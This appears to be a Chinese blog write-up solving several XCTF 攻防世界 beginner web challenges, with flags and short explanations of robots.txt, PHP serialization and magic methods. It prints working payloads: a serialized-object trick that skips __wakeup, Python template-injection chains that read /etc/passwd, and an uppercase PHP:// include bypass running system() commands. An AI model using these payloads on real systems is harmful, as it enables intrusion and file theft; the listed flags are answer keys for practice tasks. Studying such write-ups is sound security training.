攻防世界 - Web(一)
baby_web:
1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显,
2.在header中获取flag,
flag:
flag{very_baby_web}
Training-WWW-Robots:
1.进入页面,
2.直接:http://IP:端口/robots.txt就能够访问,得到robots协议,发现一个fl0g.php但是无法访问,我们尝试直接访问,(用御剑直接扫描靶场也可得到php文件,直接访问同样可以获取flag)
flag:
cyberpeace{79df38364a852059f581632c44d043bf}
补充:
关于robots:
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。
如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。
网站的根目录放一个robots.txt,会告诉搜索引擎这个网站里的那些文件可以访问,哪些不可以,
unserialize3:
1.进入页面,查看代码可知,要求通过_GET提交code值,绕过__wakeup()这个魔术方法,
2.利用反序列化漏洞:__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$x=new xctf();
echo serialize($x);
?>
获取反序列化的值:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
3.修改反序列化值为:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
flag:
cyberpeace{0246a70ac2b5885c194e9b6a0c6a3597}
补充:
php的序列化和反序列化:
php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串,
而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
(挂一张网图)
注意:
① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数
魔术方法
PHP中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能
与序列化和反序列化的魔术方法主要是:
- __construct() //当一个对象创建时被调用
- __destruct() //对象被销毁时触发
- __wakeup() //使用unserialize时触发
- __sleep() //使用serialize时触发
- __toString() //把类当做字符串时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
参考:
https://blog.csdn.net/silence1_/article/details/89716976
Web_python_template_injection:
1.进入页面,通过{{3+4}}可以判断存在python模板注入,
2.利用{{config.items() }}可以查看服务器的配置信息
4.寻找可用引用,
{{''.__class__.__mro__[2].__subclasses__()}}
5.可以看到有一个type file类型(可以进行文件读取)
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
6.
7.
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
参考:
https://www.freebuf.com/column/187845.html
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
https://xz.aliyun.com/t/2908
Web_php_include:
1.分析代码,可以看出只要有php://就会无限循环,
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
2. strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。
如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
strstr函数对大小写敏感,改成大写的PHP://
3.post传入:
<?php system("Is");?>
4.出现了三个文件,flag应该是在fl4g***.php这个文件中
用cat命令打开,<?php system ("cat fl4gisisish3r3.php")?>
flag:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
参考:
(其他方法可以参考如下链接)
https://www.cnblogs.com/xhds/p/12218471.html
https://blog.csdn.net/Mr_helloword/article/details/107929653
攻防世界 - Web(一)的更多相关文章
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- XCTF攻防世界web进阶练习—mfw
XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
随机推荐
- PDF格式分析
系列文章是csdn作者'秋风之刀'写的,我只是把目录列出来而已,感谢作者辛苦付出. PDF格式分析(一)简介 PDF格式分析(二)语法之对象 PDF格式分析(三)语法之Filter PDF格式分析(四 ...
- scala安装遇到的问题:[ERROR] Failed to construct terminal; falling back to unsupported java.lang.NumberFormatException: For input string: "0x100"
安装scala时遇到的问题 lion@king:/opt$ scala Welcome to Scala 2.11.12 (Java HotSpot(TM) 64-Bit Server VM, Jav ...
- Spark性能调优九之常用算子调优
1.使用mapPartitions算子提高性能 mapPartition的优点:使用普通的map操作,假设一个partition中有1万条数据,那么function就要被执行1万次,但是使用mapPa ...
- pandas的学习4-处理丢失数据
import pandas as pd import numpy as np ''' 有时候我们导入或处理数据, 会产生一些空的或者是 NaN 数据,如何删除或者是填补这些 NaN 数据就是我们今天所 ...
- 转载:从输入 URL 到页面加载完的过程中都发生了什么事情?
原帖地址:http://www.guokr.com/question/554991/ 1)把URL分割成几个部分:协议.网络地址.资源路径.其中网络地址指示该连接网络上哪一台计算机,可以是域名或者IP ...
- 磁盘IO工作机制
磁盘IO工作机制 ref: <深入分析java web 技术内幕> by:许令波 几种访问文件的方式 文件读取和写入的 IO 操作都是调用操作系统提供的接口,因为磁盘设备是由操作系统管理的 ...
- Hi,这里是我的2020年,请查收!
Part 1. 回顾 还记得新年第一天,我在刚租的房子给自己做了一顿咖喱饭 (不好意思放照片...),然后回顾并展望了一下自己的 2020. 转眼间,2020 就过去了. 总的来说,今年小目标 (比如 ...
- Docker容器安装nginx基本步骤Yum版
首先我们来科普一下nginx: Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务.Nginx是由伊戈尔·赛索耶夫为俄罗斯访问 ...
- Redis的内存淘汰
Redis占用内存大小 我们知道Redis是基于内存的key-value数据库,因为系统的内存大小有限,所以我们在使用Redis的时候可以配置Redis能使用的最大的内存大小. 1.通过配置文件配置 ...
- ROS开源小车TurtleBot3详情介绍
您为什么要选择ROS开源智能小车 ROS(Robot Operating System,机器人操作系统)是目前世界上更主流更多人使用的的机器人开源操作系统.它可以提供操作系统应有的服务,包括硬件抽象, ...